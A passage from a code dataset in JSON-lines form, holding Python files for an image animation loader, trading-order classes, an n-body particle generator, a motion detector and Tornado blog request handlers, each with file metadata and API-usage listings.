"call"}, {"api_name": "models.User.query", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.ext.login.login_user", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 59, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 49, "usage_type": "call"}, {"api_name": "app.app", "line_number": 49, "usage_type": "name"}, {"api_name": "models.Atm.query.all", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Atm.query", "line_number": 65, "usage_type": "attribute"}, {"api_name": "models.Atm", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.json.dumps", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 69, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 62, "usage_type": "call"}, {"api_name": "app.app", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 63, "usage_type": "name"}, {"api_name": "forms.AddATMForm", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 79, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 72, "usage_type": "call"}, {"api_name": "app.app", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 73, "usage_type": "name"}, {"api_name": "models.SMS.query.all", "line_number": 86, "usage_type": "call"}, {"api_name": "models.SMS.query", "line_number": 86, "usage_type": "attribute"}, {"api_name": "models.SMS", "line_number": 86, "usage_type": "name"}, {"api_name": "models.RecievSMS.query.filter_by", "line_number": 93, "usage_type": "call"}, {"api_name": "models.RecievSMS.query", "line_number": 93, "usage_type": "attribute"}, {"api_name": "models.RecievSMS", "line_number": 93, "usage_type": "name"}, {"api_name": "models.RecievSMS.query.filter_by", "line_number": 94, "usage_type": "call"}, {"api_name": "models.RecievSMS.query", "line_number": 94, "usage_type": "attribute"}, {"api_name": "models.RecievSMS", "line_number": 94, "usage_type": "name"}, {"api_name": "models.RecievSMS.sql_id.desc", "line_number": 94, "usage_type": "call"}, {"api_name": "models.RecievSMS.sql_id", "line_number": 94, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "name"}, {"api_name": "flask.json.dumps", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.json.dumps", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 106, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 82, "usage_type": "call"}, {"api_name": "app.app", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 83, "usage_type": "name"}, {"api_name": "models.Atm.query.filter_by", "line_number": 113, "usage_type": "call"}, {"api_name": "models.Atm.query", "line_number": 113, "usage_type": "attribute"}, {"api_name": "models.Atm", "line_number": 113, "usage_type": "name"}, {"api_name": "models.SMS.query.filter_by", "line_number": 114, "usage_type": "call"}, {"api_name": "models.SMS.query", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.SMS", "line_number": 114, "usage_type": "name"}, {"api_name": "flask.json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 121, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 110, "usage_type": "call"}, {"api_name": "app.app", "line_number": 110, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.ext.login.logout_user", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 129, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 124, "usage_type": "call"}, {"api_name": "app.app", "line_number": 124, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 125, "usage_type": "name"}, {"api_name": "models.Atm.query.filter_by", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Atm.query", "line_number": 135, "usage_type": "attribute"}, {"api_name": "models.Atm", "line_number": 135, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 136, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 132, "usage_type": "call"}, {"api_name": "app.app", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 133, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 143, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 143, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 143, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 144, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 144, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 145, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 145, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 145, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 147, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 147, "usage_type": "name"}, {"api_name": "models.SMS", "line_number": 149, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 150, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 150, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 150, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 151, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 151, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 151, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 141, "usage_type": "call"}, {"api_name": "app.app", "line_number": 141, "usage_type": "name"}, {"api_name": "models.Atm.query.all", "line_number": 159, "usage_type": "call"}, {"api_name": "models.Atm.query", "line_number": 159, "usage_type": "attribute"}, {"api_name": "models.Atm", "line_number": 159, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 179, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 156, "usage_type": "call"}, {"api_name": "app.app", "line_number": 156, "usage_type": "name"}, {"api_name": "flask.ext.login.login_required", "line_number": 157, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 184, "usage_type": "call"}, {"api_name": "app.app.errorhandler", "line_number": 182, "usage_type": "call"}, {"api_name": "app.app", "line_number": 182, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 189, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 189, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 189, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 190, "usage_type": "call"}, {"api_name": "app.app.errorhandler", "line_number": 187, "usage_type": "call"}, {"api_name": "app.app", "line_number": 187, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 194, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 194, "usage_type": "name"}, {"api_name": "models.SendSMS", "line_number": 195, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 198, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 198, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 198, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 199, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 199, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 199, "usage_type": "name"}, {"api_name": "models.RecievSMS.query.filter_by", "line_number": 204, "usage_type": "call"}, {"api_name": "models.RecievSMS.query", "line_number": 204, "usage_type": "attribute"}, {"api_name": "models.RecievSMS", "line_number": 204, "usage_type": "name"}, {"api_name": "models.RecievSMS.sql_id.desc", "line_number": 205, "usage_type": "call"}, {"api_name": "models.RecievSMS.sql_id", "line_number": 205, "usage_type": "attribute"}, {"api_name": "models.RecievSMS", "line_number": 205, "usage_type": "name"}, {"api_name": "models.SMS.query.filter_by", "line_number": 209, "usage_type": "call"}, {"api_name": "models.SMS.query", "line_number": 209, "usage_type": "attribute"}, {"api_name": "models.SMS", "line_number": 209, "usage_type": "name"}, {"api_name": "models.SMS.time.desc", "line_number": 209, "usage_type": "call"}, {"api_name": "models.SMS.time", "line_number": 209, "usage_type": "attribute"}, {"api_name": "models.RecievSMS.query.filter_by", "line_number": 213, "usage_type": "call"}, {"api_name": "models.RecievSMS.query", "line_number": 213, "usage_type": "attribute"}, {"api_name": "models.RecievSMS", "line_number": 213, "usage_type": "name"}, {"api_name": "models.RecievSMS.sql_id.desc", "line_number": 214, "usage_type": "call"}, {"api_name": "models.RecievSMS.sql_id", "line_number": 214, "usage_type": "attribute"}, {"api_name": "models.RecievSMS", "line_number": 214, "usage_type": "name"}, {"api_name": "models.Atm.query.filter_by", "line_number": 218, "usage_type": "call"}, {"api_name": "models.Atm.query", "line_number": 218, "usage_type": "attribute"}, {"api_name": "models.Atm", "line_number": 218, "usage_type": "name"}, {"api_name": "models.Statuses", "line_number": 233, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 235, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 235, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 235, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 236, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 236, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 236, "usage_type": "name"}]} +{"seq_id": "540478998", "text": "from PIL import ImageTk, Image\r\nimport os\r\nimport time\r\nindex = 0\r\n\r\n\r\nclass AnimatedImage:\r\n def __init__(self, image_folder_path, fps=10, size=None, loop=True):\r\n self.path = image_folder_path\r\n self.fps = fps\r\n self.size = size\r\n self.frames = self.get_frames()\r\n self.time_started = time.time()\r\n self.is_active = False\r\n self.loop = loop\r\n\r\n def get_num_frames(self):\r\n return len(os.listdir(self.path))\r\n\r\n def get_frames(self):\r\n frames = []\r\n for image_path in os.listdir(self.path):\r\n full_path = os.path.join(self.path, image_path)\r\n if self.size:\r\n print(self.size)\r\n img = Image.open(full_path)\r\n img = img.resize(self.size, Image.ANTIALIAS)\r\n image = ImageTk.PhotoImage(img)\r\n else:\r\n image = ImageTk.PhotoImage(Image.open(full_path))\r\n frames.append(image)\r\n return frames\r\n\r\n def get_dimensions(self):\r\n return self.frames[0].width(), self.frames[0].height()\r\n\r\n def start(self):\r\n self.time_started = time.time()\r\n self.is_active = True\r\n\r\n def stop(self):\r\n self.time_started = time.time()\r\n self.is_active = False\r\n\r\n def get_image(self):\r\n\r\n time_running = time.time() - self.time_started\r\n num_frames = self.get_num_frames()\r\n frame = int(time_running * self.fps)\r\n\r\n if frame > num_frames and self.loop:\r\n self.time_started = time.time()\r\n\r\n if not self.loop and frame >= num_frames:\r\n return self.frames[-1]\r\n else:\r\n return self.frames[frame % num_frames]\r\n\r\n\r\nclass StaticImage:\r\n def __init__(self, image_path):\r\n self.path = image_path\r\n self.image = ImageTk.PhotoImage(Image.open(self.path))\r\n\r\n def get_image(self):\r\n return self.image\r\n", "sub_path": "load_images.py", "file_name": "load_images.py", "file_ext": "py", "file_size_in_byte": 1919, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.time", "line_number": 13, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 18, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 26, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 26, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 27, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 28, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 30, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 30, "usage_type": "name"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 63, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 63, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 63, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 63, "usage_type": "name"}]} +{"seq_id": "449345542", "text": "import json\nfrom enum import Enum\nfrom collections import OrderedDict\n\n\nclass OrderLeg():\n\n def __init__(self, **kwargs):\n\n self.order_leg_arguments = {\n 'instruction':['BUY', 'SELL', 'BUY_TO_COVER', 'SELL_SHORT', 'BUY_TO_OPEN', 'BUY_TO_CLOSE', 'SELL_TO_OPEN', 'SELL_TO_CLOSE','EXCHANGE'],\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'],\n 'quantityType': ['ALL_SHARES', 'DOLLARS', 'SHARES']\n }\n\n if 'template' in kwargs.keys():\n self.template = kwargs['template']\n else:\n self.template = {}\n\n def order_leg_instruction(self, instruction = None):\n\n # for any Enum member\n if isinstance(instruction, Enum):\n instruction = instruction.name\n\n if instruction in self.order_leg_arguments['instruction']:\n self.template['instruction'] = instruction\n else:\n raise ValueError('Incorrect Value for the Instruction paramater')\n\n def order_leg_asset(self, asset_type = None, symbol = None):\n\n # for any Enum member\n if isinstance(asset_type, Enum):\n asset_type = asset_type.name\n\n asset_dict = {'assetType':'','symbol':''}\n\n if asset_type in self.order_leg_arguments['assetType']:\n asset_dict['assetType'] = asset_type\n asset_dict['symbol'] = symbol\n self.template['instrument'] = asset_dict\n else:\n raise ValueError('Incorrect Value for the asset type paramater')\n\n def order_leg_quantity(self, quantity = None): \n self.template['quantity'] = int(quantity)\n\n def order_leg_price(self, price = None):\n self.template['price'] = float(price)\n\n def order_leg_quantity_type(self, quantity_type = None):\n\n # for any Enum member\n if isinstance(quantity_type, Enum):\n quantity_type = quantity_type.name\n\n if quantity_type in self.order_leg_arguments['quantityType']:\n self.template['quantityType'] = quantity_type\n else:\n raise ValueError('Incorrect Value for the Quantity Type paramater')\n\n def copy(self):\n template_copy = self.template.copy()\n return OrderLeg(template = template_copy)\n\n\nclass Order():\n\n def __init__(self, **kwargs):\n\n '''\n Initalizes the SavedOrder Object and override any default values that are\n passed through.\n '''\n\n self.saved_order_arguments = {\n\n 'session':['NORMAL', 'AM', 'PM', 'SEAMLESS'],\n 'duration':['DAY', 'GOOD_TILL_CANCEL', 'FILL_OR_KILL'],\n 'requestedDestination':['INET', 'ECN_ARCA', 'CBOE', 'AMEX', 'PHLX', 'ISE', 'BOX', 'NYSE', 'NASDAQ', 'BATS', 'C2', 'AUTO'],\n 'complexOrderStrategyType': ['NONE', 'COVERED', 'VERTICAL', 'BACK_RATIO', 'CALENDAR', 'DIAGONAL', 'STRADDLE', \n 'STRANGLE', 'COLLAR_SYNTHETIC', 'BUTTERFLY', 'CONDOR', 'IRON_CONDOR', 'VERTICAL_ROLL', \n 'COLLAR_WITH_STOCK', 'DOUBLE_DIAGONAL', 'UNBALANCED_BUTTERFLY', 'UNBALANCED_CONDOR', \n 'UNBALANCED_IRON_CONDOR', 'UNBALANCED_VERTICAL_ROLL', 'CUSTOM'],\n\n 'stopPriceLinkBasis': ['MANUAL', 'BASE', 'TRIGGER', 'LAST', 'BID', 'ASK', 'ASK_BID', 'MARK', 'AVERAGE'],\n 'stopPriceLinkType':['VALUE', 'PERCENT', 'TICK'],\n 'stopType':['STANDARD', 'BID', 'ASK', 'LAST', 'MARK'],\n\n 'priceLinkBasis':['MANUAL', 'BASE', 'TRIGGER', 'LAST', 'BID', 'ASK', 'ASK_BID', 'MARK', 'AVERAGE'],\n 'priceLinkType': ['VALUE', 'PERCENT', 'TICK'],\n\n 'orderType':['MARKET', 'LIMIT', 'STOP', 'STOP_LIMIT', 'TRAILING_STOP', 'MARKET_ON_CLOSE', \n 'EXERCISE', 'TRAILING_STOP_LIMIT', 'NET_DEBIT', 'NET_CREDIT', 'NET_ZERO'],\n 'orderLegType': ['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'],\n 'orderStrategyType': ['SINGLE', 'OCO', 'TRIGGER'],\n\n 'instruction': ['BUY', 'SELL', 'BUY_TO_COVER', 'SELL_SHORT', 'BUY_TO_OPEN', 'BUY_TO_CLOSE', 'SELL_TO_OPEN', 'SELL_TO_CLOSE','EXCHANGE'],\n 'positionEffect': ['OPENING', 'CLOSING', 'AUTOMATIC'],\n 'quantityType': ['ALL_SHARES', 'DOLLARS', 'SHARES'], \n 'taxLotMethod': ['FIFO', 'LIFO', 'HIGH_COST', 'LOW_COST', 'AVERAGE_COST', 'SPECIFIC_LOT'],\n 'specialInstruction': ['ALL_OR_NONE', 'DO_NOT_REDUCE', 'ALL_OR_NONE_DO_NOT_REDUCE'],\n\n 'status': ['AWAITING_PARENT_ORDER', 'AWAITING_CONDITION', 'AWAITING_MANUAL_REVIEW', 'ACCEPTED', 'AWAITING_UR_OUT', \n 'PENDING_ACTIVATION', 'QUEUED', 'WORKING', 'REJECTED', 'PENDING_CANCEL', 'CANCELED', 'PENDING_REPLACE', \n 'REPLACED', 'FILLED', 'EXPIRED']\n }\n\n self.instrument_sub_class_arguments = {\n 'Option':{\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'],\n 'type':['VANILLA', 'BINARY', 'BARRIER'],\n 'putCall':['PUT', 'CALL'],\n 'optionDeliverables':{\n 'currencyType':['USD', 'CAD', 'EUR', 'JPY'],\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY']\n }\n },\n 'MutualFund':{\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'],\n 'type':['NOT_APPLICABLE', 'OPEN_END_NON_TAXABLE', 'OPEN_END_TAXABLE', 'NO_LOAD_NON_TAXABLE', 'NO_LOAD_TAXABLE']\n },\n 'CashEquivalent':{\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'],\n 'type':['SAVINGS', 'MONEY_MARKET_FUND'] \n },\n 'Equity':{\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'] \n },\n 'FixedIncome':{\n 'assetType':['EQUITY', 'OPTION', 'INDEX', 'MUTUAL_FUND', 'CASH_EQUIVALENT', 'FIXED_INCOME', 'CURRENCY'] \n }\n }\n\n self.order_activity_arguments = {\n 'activityType':['EXECUTION', 'ORDER_ACTION'],\n 'executionType':['FILL']\n }\n\n # defines the empty template for our order\n self.template = {}\n self.order_legs_collection = {}\n self.child_order_strategies = {}\n\n\n '''\n ALEX'S NOTE\n\n Every trade should need a session. The logic is that if no session is given, then how would we know when\n to execute it?\n\n Every trade should need a duration. Again, how do we know when to cancel it if at all? Do we just add a \n default value?\n\n Every order doesn't need a complex order strategy type. For example, it could be just a simple limit order.\n However, if you do give a complex order strategy type could we use this to determine other arguments that we\n would need? \n \n '''\n\n def order_price(self, price = None):\n\n self.template['price'] = price\n\n def order_type(self, order_type = None):\n '''\n Define the session for the trade.\n '''\n\n # for any Enum member\n if isinstance(order_type, Enum):\n order_type = order_type.name\n\n if order_type in self.saved_order_arguments['orderType']:\n self.template['orderType'] = order_type\n else:\n raise ValueError('Incorrect Value for the OrderType paramater')\n\n def order_session(self, session = None):\n '''\n Define the session for the trade.\n '''\n\n # for any Enum member\n if isinstance(session, Enum):\n session = session.name\n\n if session in self.saved_order_arguments['session']:\n self.template['session'] = session\n else:\n raise ValueError('Incorrect Value for the Session paramater')\n\n def order_duration(self, duration = None, cancel_time = None):\n '''\n\n '''\n\n # for any Enum member\n if isinstance(duration, Enum):\n duration = duration.name\n\n if duration in self.saved_order_arguments['duration']:\n self.template['duration'] = duration\n else:\n raise ValueError('Incorrect Value for the Session paramater')\n\n if cancel_time is not None:\n self.template['cancelTime'] = {'date':cancel_time, 'shortFormat':False}\n\n def complex_order_type(self, complex_order_strategy_type = None):\n '''\n\n '''\n\n if complex_order_strategy_type == None:\n self.template['complexOrderStrategyType'] = 'NONE'\n elif complex_order_strategy_type in self.saved_order_arguments['complexOrderStrategyType']:\n self.template['complexOrderStrategyType'] = complex_order_strategy_type\n else:\n raise ValueError('Incorrect Value for the complexOrderStrategyType paramater')\n\n def order_strategy_type(self, order_strategy_type = None):\n '''\n\n '''\n\n if order_strategy_type in self.saved_order_arguments['orderStrategyType']:\n self.template['orderStrategyType'] = order_strategy_type\n else:\n raise ValueError('Incorrect Value for the orderStrategyType paramater')\n\n def grab_order(self):\n\n data = OrderedDict(self.template.items())\n \n if len(list(self.order_legs_collection.values())) > 0:\n self.template['orderLegCollection'] = list(self.order_legs_collection.values())\n data['orderLegCollection'] = list(self.order_legs_collection.values())\n\n if len(list(self.child_order_strategies.values())) > 0:\n self.template['childOrderStrategies'] = list(self.child_order_strategies.values())\n data['childOrderStrategies'] = list(self.child_order_strategies.values())\n\n return data\n\n def add_order_leg(self, order_leg = None):\n key_id = \"order_leg_\" + str(len(self.order_legs_collection) + 1)\n self.order_legs_collection[key_id] = order_leg.template\n \n def delete_order_leg(self, key = None, index = None): \n # sorted_orders_collection = OrderedDict(sorted(self.order_legs_collection.items(), key=lambda t: t[0]))\n \n if key is not None and key in self.order_legs_collection.keys():\n del self.order_legs_collection[key]\n elif index is not None: \n for index_key, key in enumerate(sorted(self.order_legs_collection.items(), key=lambda t: t[0]).keys()):\n if index == index_key:\n del self.order_legs_collection[index.key]\n \n\n def saved_order_to_json(self): \n return json.dumps(self.grab_order())\n\n def create_child_order_strategy(self):\n return Order()\n\n def add_child_order_strategy(self, child_order_strategy = None):\n key_id = \"child_order_strategy_\" + str(len(self.child_order_strategies) + 1)\n self.child_order_strategies[key_id] = child_order_strategy.grab_order()\n\n def delete_child_order_strategy(self, key = None, index = None):\n\n if key is not None and key in self.child_order_strategies.keys():\n del self.child_order_strategies[key]\n elif index is not None: \n for index_key, key in enumerate(sorted(self.child_order_strategies.items(), key=lambda t: t[0]).keys()):\n if index == index_key:\n del self.child_order_strategies[index.key]\n", "sub_path": "td/orders.py", "file_name": "orders.py", "file_ext": "py", "file_size_in_byte": 11720, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "enum.Enum", "line_number": 24, "usage_type": "argument"}, {"api_name": "enum.Enum", "line_number": 35, "usage_type": "argument"}, {"api_name": "enum.Enum", "line_number": 56, "usage_type": "argument"}, {"api_name": "enum.Enum", "line_number": 173, "usage_type": "argument"}, {"api_name": "enum.Enum", "line_number": 187, "usage_type": "argument"}, {"api_name": "enum.Enum", "line_number": 201, "usage_type": "argument"}, {"api_name": "collections.OrderedDict", "line_number": 236, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 264, "usage_type": "call"}]} +{"seq_id": "174965933", "text": "import h5py\nimport numpy as np\n\n############################\n#NUMBER OF PARTICLES TO SIM#\n############################\nn = 75\n\n# Create random data\nseed = 0x4d3d3d3\nnp.random.seed(seed)\nparticle_positions = np.random.uniform(-50, 50, size=(n, 3))\nparticle_velocities = np.random.uniform(0, 0, size=(n, 3))\nparticle_masses = np.random.uniform(1000000, 100000000000, size=(n, 1))\n\n# Write data to HDF5\ntry:\n data_file = h5py.File('dataset.h5', 'w')\nexcept:\n data_file = h5py.File('dataset.h5', 'a')\n\ndata_file.create_dataset('/particle_positions', data=particle_positions)\ndata_file.create_dataset('/particle_velocities', data=particle_velocities)\ndata_file.create_dataset('/particle_masses', data=particle_masses)\ndata_file.create_dataset('/seed', data=seed)\ndata_file.close()\n", "sub_path": "nbody_code/CreateRandomParticles.py", "file_name": "CreateRandomParticles.py", "file_ext": "py", "file_size_in_byte": 782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.random.seed", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 18, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "159032393", "text": "import cv2\nimport numpy as np\n\n\ndef motion_differencial(before, now, fragments=6, length=30, sensitivity=1, value=4):\n now = cv2.resize(now, (fragments * length, fragments * length))\n before = cv2.resize(before, (fragments * length, fragments * length))\n segments = []\n ab = np.abs(np.int16(now) - np.int16(before))\n for x in range(fragments):\n for y in range(fragments):\n segments.append(\n int(\n np.sum(\n ab[x * length : (x + 1) * length, y * length : (y + 1) * length]\n )\n / (length * length * 3)\n )\n )\n move_cursor(0, 0)\n clear()\n print(segments)\n counter = 0\n for i in segments:\n print(\"-\" * int(i))\n if i > value:\n counter += 1\n if counter >= sensitivity:\n print(\"Motion detected\")\n else:\n print(\"Still\")\n # diff = np.sum(np.abs(np.int16(now)-np.int16(before)))/(now.shape[0]*now.shape[1]*now.shape[2])\n # return '-'*int(diff*3)\n", "sub_path": "core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 1054, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.resize", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "643509863", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport string\nimport os.path\nimport tornado.web\nimport tornado.template\n\nfrom settings import *\nfrom libs.utils import *\nfrom libs.models import *\nfrom libs.handler import *\n\nfrom dropbox.client import DropboxOAuth2FlowNoRedirect, DropboxClient\n\nflow = DropboxOAuth2FlowNoRedirect(app_key, app_secret)\n\nclass HomeHandler(BaseHandler):\n def get(self):\n self.render(\"home.html\",\n articlesList = get_articles(1, post_per_page),\n post_per_page = post_per_page,\n page_number = 1,\n count = get_article_count(),\n )\n\nclass PageHandler(BaseHandler):\n def get(self, page):\n self.render(\"home.html\",\n articlesList = get_articles(int(page), post_per_page),\n post_per_page = post_per_page,\n page_number = int(page),\n count = get_article_count(),\n )\n\nclass CuPageHandler(BaseHandler):\n def get(self, page_id):\n article = gat_page(page_id)\n self.render(\"page.html\", article=article)\n \nclass ArticleHandler(BaseHandler):\n def get(self, article_id):\n article = get_article(article_id)\n tags = [tag.strip() for tag in article.tag.split(\",\")]\n self.render(\"article.html\",\n article = article,\n tags = tags,\n comment = enable_comment,\n disqus_name = disqus_name,\n twitter_card = twitter_card,\n twitter_username = twitter_username,\n )\n\nclass ArticlesHandler(BaseHandler):\n def get(self):\n all_articles = get_all_articles()\n year_list = {}\n for article in all_articles:\n year = article[\"datetime\"].split(\"-\")[0]\n if year in year_list:\n year_list[year].append(article)\n else:\n year_list[year] = []\n year_list[year].append(article)\n self.render(\"articles.html\",\n articlesList = year_list,\n )\n\nclass TagHandler(BaseHandler):\n def get(self, tag_name):\n self.render(\"tag.html\",\n tag_name = tag_name,\n articlesList = get_tag_articles(tag_name),\n )\n\nclass TagsHandler(BaseHandler):\n def get(self):\n self.render(\"tags.html\",\n tags = get_all_tags(),\n )\n\nclass LoginHandler(BaseHandler):\n def get(self):\n if self.get_current_user():\n if verify_token(self.get_current_user(), self.get_secure_cookie(\"token\")):\n self.redirect(\"/admin\")\n return\n else:\n self.render(\"login.html\")\n else:\n self.render(\"login.html\")\n\n def post(self):\n username = self.get_argument(\"username\", None)\n password = self.get_argument(\"password\", None)\n if login_username == username:\n if verify_user(username, to_md5(password)):\n token = make_token(username)\n update_token(username, token)\n self.set_secure_cookie(\"token\", token)\n self.set_secure_cookie(\"username\", username)\n self.redirect(\"/admin\")\n return\n else:\n self.redirect(\"/login\")\n else:\n 